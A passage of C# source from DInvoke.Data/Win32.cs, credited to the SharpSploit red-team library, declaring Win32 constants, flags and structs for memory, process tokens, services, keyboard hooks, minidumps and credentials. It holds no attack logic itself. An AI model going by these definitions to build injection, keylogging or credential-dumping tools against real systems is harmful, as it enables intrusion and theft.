public int NameOffset;
[FieldOffset(0x08)]
public int NameLength;
[FieldOffset(0x10)]
public int ValueOffset;
}
[StructLayout(LayoutKind.Explicit)]
public struct ApiSetValueEntry
{
[FieldOffset(0x0C)]
public int ValueOffset;
[FieldOffset(0x10)]
public int ValueCount;
}
[StructLayout(LayoutKind.Sequential)]
public struct LDR_DATA_TABLE_ENTRY
{
public Data.Native.LIST_ENTRY InLoadOrderLinks;
public Data.Native.LIST_ENTRY InMemoryOrderLinks;
public Data.Native.LIST_ENTRY InInitializationOrderLinks;
public IntPtr DllBase;
public IntPtr EntryPoint;
public UInt32 SizeOfImage;
public Data.Native.UNICODE_STRING FullDllName;
public Data.Native.UNICODE_STRING BaseDllName;
}
}//end class
}
================================================
FILE: DInvoke.Data/Win32.cs
================================================
// Author: Ryan Cobb (@cobbr_io)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
namespace DInvoke.Data
{
///
/// Win32 is a library of enums and structures for Win32 API functions.
///
///
/// A majority of this library is adapted from signatures found at www.pinvoke.net.
///
public static class Win32
{
public static class Kernel32
{
public static uint MEM_COMMIT = 0x1000;
public static uint MEM_RESERVE = 0x2000;
public static uint MEM_RESET = 0x80000;
public static uint MEM_RESET_UNDO = 0x1000000;
public static uint MEM_LARGE_PAGES = 0x20000000;
public static uint MEM_PHYSICAL = 0x400000;
public static uint MEM_TOP_DOWN = 0x100000;
public static uint MEM_WRITE_WATCH = 0x200000;
public static uint MEM_COALESCE_PLACEHOLDERS = 0x1;
public static uint MEM_PRESERVE_PLACEHOLDER = 0x2;
public static uint MEM_DECOMMIT = 0x4000;
public static uint MEM_RELEASE = 0x8000;
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk;
public uint TimeDateStamp;
public uint ForwarderChain;
public uint Name;
public uint FirstThunk;
}
public struct SYSTEM_INFO
{
public ushort wProcessorArchitecture;
public ushort wReserved;
public uint dwPageSize;
public IntPtr lpMinimumApplicationAddress;
public IntPtr lpMaximumApplicationAddress;
public UIntPtr dwActiveProcessorMask;
public uint dwNumberOfProcessors;
public uint dwProcessorType;
public uint dwAllocationGranularity;
public ushort wProcessorLevel;
public ushort wProcessorRevision;
};
public enum Platform
{
x86,
x64,
IA64,
Unknown
}
[Flags]
public enum ProcessAccessFlags : UInt32
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
PROCESS_ALL_ACCESS = 0x001F0FFF,
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_DUP_HANDLE = 0x0040,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
PROCESS_SET_INFORMATION = 0x0200,
PROCESS_SET_QUOTA = 0x0100,
PROCESS_SUSPEND_RESUME = 0x0800,
PROCESS_TERMINATE = 0x0001,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020,
SYNCHRONIZE = 0x00100000
}
[Flags]
public enum FileAccessFlags : UInt32
{
DELETE = 0x10000,
FILE_READ_DATA = 0x1,
FILE_READ_ATTRIBUTES = 0x80,
FILE_READ_EA = 0x8,
READ_CONTROL = 0x20000,
FILE_WRITE_DATA = 0x2,
FILE_WRITE_ATTRIBUTES = 0x100,
FILE_WRITE_EA = 0x10,
FILE_APPEND_DATA = 0x4,
WRITE_DAC = 0x40000,
WRITE_OWNER = 0x80000,
SYNCHRONIZE = 0x100000,
FILE_EXECUTE = 0x20
}
[Flags]
public enum FileShareFlags : UInt32
{
FILE_SHARE_NONE = 0x0,
FILE_SHARE_READ = 0x1,
FILE_SHARE_WRITE = 0x2,
FILE_SHARE_DELETE = 0x4
}
[Flags]
public enum FileOpenFlags : UInt32
{
FILE_DIRECTORY_FILE = 0x1,
FILE_WRITE_THROUGH = 0x2,
FILE_SEQUENTIAL_ONLY = 0x4,
FILE_NO_INTERMEDIATE_BUFFERING = 0x8,
FILE_SYNCHRONOUS_IO_ALERT = 0x10,
FILE_SYNCHRONOUS_IO_NONALERT = 0x20,
FILE_NON_DIRECTORY_FILE = 0x40,
FILE_CREATE_TREE_CONNECTION = 0x80,
FILE_COMPLETE_IF_OPLOCKED = 0x100,
FILE_NO_EA_KNOWLEDGE = 0x200,
FILE_OPEN_FOR_RECOVERY = 0x400,
FILE_RANDOM_ACCESS = 0x800,
FILE_DELETE_ON_CLOSE = 0x1000,
FILE_OPEN_BY_FILE_ID = 0x2000,
FILE_OPEN_FOR_BACKUP_INTENT = 0x4000,
FILE_NO_COMPRESSION = 0x8000
}
[Flags]
public enum StandardRights : uint
{
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
Required = 0x000f0000,
Read = ReadControl,
Write = ReadControl,
Execute = ReadControl,
All = 0x001f0000,
SpecificRightsAll = 0x0000ffff,
AccessSystemSecurity = 0x01000000,
MaximumAllowed = 0x02000000,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000
}
[Flags]
public enum ThreadAccess : uint
{
Terminate = 0x0001,
SuspendResume = 0x0002,
Alert = 0x0004,
GetContext = 0x0008,
SetContext = 0x0010,
SetInformation = 0x0020,
QueryInformation = 0x0040,
SetThreadToken = 0x0080,
Impersonate = 0x0100,
DirectImpersonation = 0x0200,
SetLimitedInformation = 0x0400,
QueryLimitedInformation = 0x0800,
All = StandardRights.Required | StandardRights.Synchronize | 0x3ff
}
}
public static class User32
{
public static int WH_KEYBOARD_LL { get; } = 13;
public static int WM_KEYDOWN { get; } = 0x0100;
public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
}
public static class Netapi32
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_USERS_INFO_0
{
[MarshalAs(UnmanagedType.LPWStr)] internal string name;
}
[StructLayout(LayoutKind.Sequential)]
public struct LOCALGROUP_USERS_INFO_1
{
[MarshalAs(UnmanagedType.LPWStr)] public string name;
[MarshalAs(UnmanagedType.LPWStr)] public string comment;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_MEMBERS_INFO_2
{
public IntPtr lgrmi2_sid;
public int lgrmi2_sidusage;
[MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct WKSTA_USER_INFO_1
{
public string wkui1_username;
public string wkui1_logon_domain;
public string wkui1_oth_domains;
public string wkui1_logon_server;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SESSION_INFO_10
{
public string sesi10_cname;
public string sesi10_username;
public int sesi10_time;
public int sesi10_idle_time;
}
public enum SID_NAME_USE : UInt16
{
SidTypeUser = 1,
SidTypeGroup = 2,
SidTypeDomain = 3,
SidTypeAlias = 4,
SidTypeWellKnownGroup = 5,
SidTypeDeletedAccount = 6,
SidTypeInvalid = 7,
SidTypeUnknown = 8,
SidTypeComputer = 9
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SHARE_INFO_1
{
public string shi1_netname;
public uint shi1_type;
public string shi1_remark;
public SHARE_INFO_1(string netname, uint type, string remark)
{
this.shi1_netname = netname;
this.shi1_type = type;
this.shi1_remark = remark;
}
}
}
public static class Advapi32
{
// http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
public const UInt32 TOKEN_DUPLICATE = 0x0002;
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
public const UInt32 TOKEN_QUERY = 0x0008;
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID);
public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx
[Flags]
public enum CREATION_FLAGS : uint
{
NONE = 0x00000000,
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000
}
[Flags]
public enum LOGON_FLAGS
{
NONE = 0x00000000,
LOGON_WITH_PROFILE = 0x00000001,
LOGON_NETCREDENTIALS_ONLY = 0x00000002
}
public enum LOGON_TYPE
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK,
LOGON32_LOGON_BATCH,
LOGON32_LOGON_SERVICE,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT,
LOGON32_LOGON_NEW_CREDENTIALS
}
public enum LOGON_PROVIDER
{
LOGON32_PROVIDER_DEFAULT,
LOGON32_PROVIDER_WINNT35,
LOGON32_PROVIDER_WINNT40,
LOGON32_PROVIDER_WINNT50
}
[Flags]
public enum SCM_ACCESS : uint
{
SC_MANAGER_CONNECT = 0x00001,
SC_MANAGER_CREATE_SERVICE = 0x00002,
SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
SC_MANAGER_LOCK = 0x00008,
SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
SC_MANAGER_CONNECT |
SC_MANAGER_CREATE_SERVICE |
SC_MANAGER_ENUMERATE_SERVICE |
SC_MANAGER_LOCK |
SC_MANAGER_QUERY_LOCK_STATUS |
SC_MANAGER_MODIFY_BOOT_CONFIG,
GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
SC_MANAGER_ENUMERATE_SERVICE |
SC_MANAGER_QUERY_LOCK_STATUS,
GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
SC_MANAGER_CREATE_SERVICE |
SC_MANAGER_MODIFY_BOOT_CONFIG,
GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
SC_MANAGER_CONNECT | SC_MANAGER_LOCK,
GENERIC_ALL = SC_MANAGER_ALL_ACCESS,
}
[Flags]
public enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL_ACCESS = 0x0000037F
}
[Flags]
public enum SERVICE_ACCESS : uint
{
SERVICE_QUERY_CONFIG = 0x00001,
SERVICE_CHANGE_CONFIG = 0x00002,
SERVICE_QUERY_STATUS = 0x00004,
SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
SERVICE_START = 0x00010,
SERVICE_STOP = 0x00020,
SERVICE_PAUSE_CONTINUE = 0x00040,
SERVICE_INTERROGATE = 0x00080,
SERVICE_USER_DEFINED_CONTROL = 0x00100,
SERVICE_ALL_ACCESS = (ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
SERVICE_QUERY_CONFIG |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_INTERROGATE |
SERVICE_USER_DEFINED_CONTROL),
GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
SERVICE_QUERY_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_INTERROGATE |
SERVICE_ENUMERATE_DEPENDENTS,
GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
SERVICE_CHANGE_CONFIG,
GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_USER_DEFINED_CONTROL,
ACCESS_SYSTEM_SECURITY = ACCESS_MASK.ACCESS_SYSTEM_SECURITY,
DELETE = ACCESS_MASK.DELETE,
READ_CONTROL = ACCESS_MASK.READ_CONTROL,
WRITE_DAC = ACCESS_MASK.WRITE_DAC,
WRITE_OWNER = ACCESS_MASK.WRITE_OWNER,
}
[Flags]
public enum SERVICE_TYPE : uint
{
SERVICE_KERNEL_DRIVER = 0x00000001,
SERVICE_FILE_SYSTEM_DRIVER = 0x00000002,
SERVICE_WIN32_OWN_PROCESS = 0x00000010,
SERVICE_WIN32_SHARE_PROCESS = 0x00000020,
SERVICE_INTERACTIVE_PROCESS = 0x00000100,
}
public enum SERVICE_START : uint
{
SERVICE_BOOT_START = 0x00000000,
SERVICE_SYSTEM_START = 0x00000001,
SERVICE_AUTO_START = 0x00000002,
SERVICE_DEMAND_START = 0x00000003,
SERVICE_DISABLED = 0x00000004,
}
public enum SERVICE_ERROR
{
SERVICE_ERROR_IGNORE = 0x00000000,
SERVICE_ERROR_NORMAL = 0x00000001,
SERVICE_ERROR_SEVERE = 0x00000002,
SERVICE_ERROR_CRITICAL = 0x00000003,
}
}
public static class Dbghelp
{
public enum MINIDUMP_TYPE
{
MiniDumpNormal = 0x00000000,
MiniDumpWithDataSegs = 0x00000001,
MiniDumpWithFullMemory = 0x00000002,
MiniDumpWithHandleData = 0x00000004,
MiniDumpFilterMemory = 0x00000008,
MiniDumpScanMemory = 0x00000010,
MiniDumpWithUnloadedModules = 0x00000020,
MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
MiniDumpFilterModulePaths = 0x00000080,
MiniDumpWithProcessThreadData = 0x00000100,
MiniDumpWithPrivateReadWriteMemory = 0x00000200,
MiniDumpWithoutOptionalData = 0x00000400,
MiniDumpWithFullMemoryInfo = 0x00000800,
MiniDumpWithThreadInfo = 0x00001000,
MiniDumpWithCodeSegs = 0x00002000,
MiniDumpWithoutAuxiliaryState = 0x00004000,
MiniDumpWithFullAuxiliaryState = 0x00008000,
MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
MiniDumpIgnoreInaccessibleMemory = 0x00020000,
MiniDumpWithTokenInformation = 0x00040000,
MiniDumpWithModuleHeaders = 0x00080000,
MiniDumpFilterTriage = 0x00100000,
MiniDumpValidTypeFlags = 0x001fffff
}
}
public class WinBase
{
[StructLayout(LayoutKind.Sequential)]
public struct _SYSTEM_INFO
{
public UInt16 wProcessorArchitecture;
public UInt16 wReserved;
public UInt32 dwPageSize;
public IntPtr lpMinimumApplicationAddress;
public IntPtr lpMaximumApplicationAddress;
public IntPtr dwActiveProcessorMask;
public UInt32 dwNumberOfProcessors;
public UInt32 dwProcessorType;
public UInt32 dwAllocationGranularity;
public UInt16 wProcessorLevel;
public UInt16 wProcessorRevision;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SECURITY_ATTRIBUTES
{
UInt32 nLength;
IntPtr lpSecurityDescriptor;
Boolean bInheritHandle;
};
}
public class WinNT
{
public const UInt32 PAGE_NOACCESS = 0x01;
public const UInt32 PAGE_READONLY = 0x02;
public const UInt32 PAGE_READWRITE = 0x04;
public const UInt32 PAGE_WRITECOPY = 0x08;
public const UInt32 PAGE_EXECUTE = 0x10;
public const UInt32 PAGE_EXECUTE_READ = 0x20;
public const UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80;
public const UInt32 PAGE_GUARD = 0x100;
public const UInt32 PAGE_NOCACHE = 0x200;
public const UInt32 PAGE_WRITECOMBINE = 0x400;
public const UInt32 PAGE_TARGETS_INVALID = 0x40000000;
public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000;
public const UInt32 SEC_COMMIT = 0x08000000;
public const UInt32 SEC_IMAGE = 0x1000000;
public const UInt32 SEC_IMAGE_NO_EXECUTE = 0x11000000;
public const UInt32 SEC_LARGE_PAGES = 0x80000000;
public const UInt32 SEC_NOCACHE = 0x10000000;
public const UInt32 SEC_RESERVE = 0x4000000;
public const UInt32 SEC_WRITECOMBINE = 0x40000000;
public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1;
public const UInt32 SE_PRIVILEGE_REMOVED = 0x4;
public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3;
public const UInt64 SE_GROUP_ENABLED = 0x00000004L;
public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L;
public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L;
public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020;
public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L;
public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L;
public const UInt64 SE_GROUP_MANDATORY = 0x00000001L;
public const UInt64 SE_GROUP_OWNER = 0x00000008L;
public const UInt64 SE_GROUP_RESOURCE = 0x20000000L;
public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L;
public enum _SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum _TOKEN_ELEVATION_TYPE
{
TokenElevationTypeDefault = 1,
TokenElevationTypeFull,
TokenElevationTypeLimited
}
[StructLayout(LayoutKind.Sequential)]
public struct _MEMORY_BASIC_INFORMATION32
{
public UInt32 BaseAddress;
public UInt32 AllocationBase;
public UInt32 AllocationProtect;
public UInt32 RegionSize;
public UInt32 State;
public UInt32 Protect;
public UInt32 Type;
}
[StructLayout(LayoutKind.Sequential)]
public struct _MEMORY_BASIC_INFORMATION64
{
public UInt64 BaseAddress;
public UInt64 AllocationBase;
public UInt32 AllocationProtect;
public UInt32 __alignment1;
public UInt64 RegionSize;
public UInt32 State;
public UInt32 Protect;
public UInt32 Type;
public UInt32 __alignment2;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LUID_AND_ATTRIBUTES
{
public _LUID Luid;
public UInt32 Attributes;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LUID
{
public UInt32 LowPart;
public UInt32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_STATISTICS
{
public _LUID TokenId;
public _LUID AuthenticationId;
public UInt64 ExpirationTime;
public TOKEN_TYPE TokenType;
public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
public UInt32 DynamicCharged;
public UInt32 DynamicAvailable;
public UInt32 GroupCount;
public UInt32 PrivilegeCount;
public _LUID ModifiedId;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
public _LUID_AND_ATTRIBUTES Privileges;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_MANDATORY_LABEL
{
public _SID_AND_ATTRIBUTES Label;
}
public struct _SID
{
public byte Revision;
public byte SubAuthorityCount;
public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public ulong[] SubAuthority;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_IDENTIFIER_AUTHORITY
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)]
public byte[] Value;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public UInt32 Attributes;
}
[StructLayout(LayoutKind.Sequential)]
public struct _PRIVILEGE_SET
{
public UInt32 PrivilegeCount;
public UInt32 Control;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public _LUID_AND_ATTRIBUTES[] Privilege;
}
[StructLayout(LayoutKind.Sequential)]
public struct _TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
public enum _SID_NAME_USE
{
SidTypeUser = 1,
SidTypeGroup,
SidTypeDomain,
SidTypeAlias,
SidTypeWellKnownGroup,
SidTypeDeletedAccount,
SidTypeInvalid,
SidTypeUnknown,
SidTypeComputer,
SidTypeLabel
}
public enum _TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
TokenIsAppContainer,
TokenCapabilities,
TokenAppContainerSid,
TokenAppContainerNumber,
TokenUserClaimAttributes,
TokenDeviceClaimAttributes,
TokenRestrictedUserClaimAttributes,
TokenRestrictedDeviceClaimAttributes,
TokenDeviceGroups,
TokenRestrictedDeviceGroups,
TokenSecurityAttributes,
TokenIsRestricted,
MaxTokenInfoClass
}
// http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK
[Flags]
public enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL_ACCESS = 0x0000037F,
SECTION_ALL_ACCESS = 0x10000000,
SECTION_QUERY = 0x0001,
SECTION_MAP_WRITE = 0x0002,
SECTION_MAP_READ = 0x0004,
SECTION_MAP_EXECUTE = 0x0008,
SECTION_EXTEND_SIZE = 0x0010
};
}
public class ProcessThreadsAPI
{
[Flags]
internal enum STARTF : uint
{
STARTF_USESHOWWINDOW = 0x00000001,
STARTF_USESIZE = 0x00000002,
STARTF_USEPOSITION = 0x00000004,
STARTF_USECOUNTCHARS = 0x00000008,
STARTF_USEFILLATTRIBUTE = 0x00000010,
STARTF_RUNFULLSCREEN = 0x00000020,
STARTF_FORCEONFEEDBACK = 0x00000040,
STARTF_FORCEOFFFEEDBACK = 0x00000080,
STARTF_USESTDHANDLES = 0x00000100,
}
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
[StructLayout(LayoutKind.Sequential)]
public struct _STARTUPINFO
{
public UInt32 cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public UInt32 dwX;
public UInt32 dwY;
public UInt32 dwXSize;
public UInt32 dwYSize;
public UInt32 dwXCountChars;
public UInt32 dwYCountChars;
public UInt32 dwFillAttribute;
public UInt32 dwFlags;
public UInt16 wShowWindow;
public UInt16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
};
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
[StructLayout(LayoutKind.Sequential)]
public struct _STARTUPINFOEX
{
_STARTUPINFO StartupInfo;
// PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
};
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public UInt32 dwProcessId;
public UInt32 dwThreadId;
};
}
public class WinCred
{
#pragma warning disable 0618
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct _CREDENTIAL
{
public CRED_FLAGS Flags;
public UInt32 Type;
public IntPtr TargetName;
public IntPtr Comment;
public FILETIME LastWritten;
public UInt32 CredentialBlobSize;
public UInt32 Persist;
public UInt32 AttributeCount;
public IntPtr Attributes;
public IntPtr TargetAlias;
public IntPtr UserName;
}
#pragma warning restore 0618
public enum CRED_FLAGS : uint
{
NONE = 0x0,
PROMPT_NOW = 0x2,
USERNAME_TARGET = 0x4
}
public enum CRED_PERSIST : uint
{
Session = 1,
LocalMachine,
Enterprise
}
public enum CRED_TYPE : uint
{
Generic = 1,
DomainPassword,
DomainCertificate,
DomainVisiblePassword,
GenericCertificate,
DomainExtended,
Maximum,
MaximumEx = Maximum + 1000,
}
}
public class Secur32
{
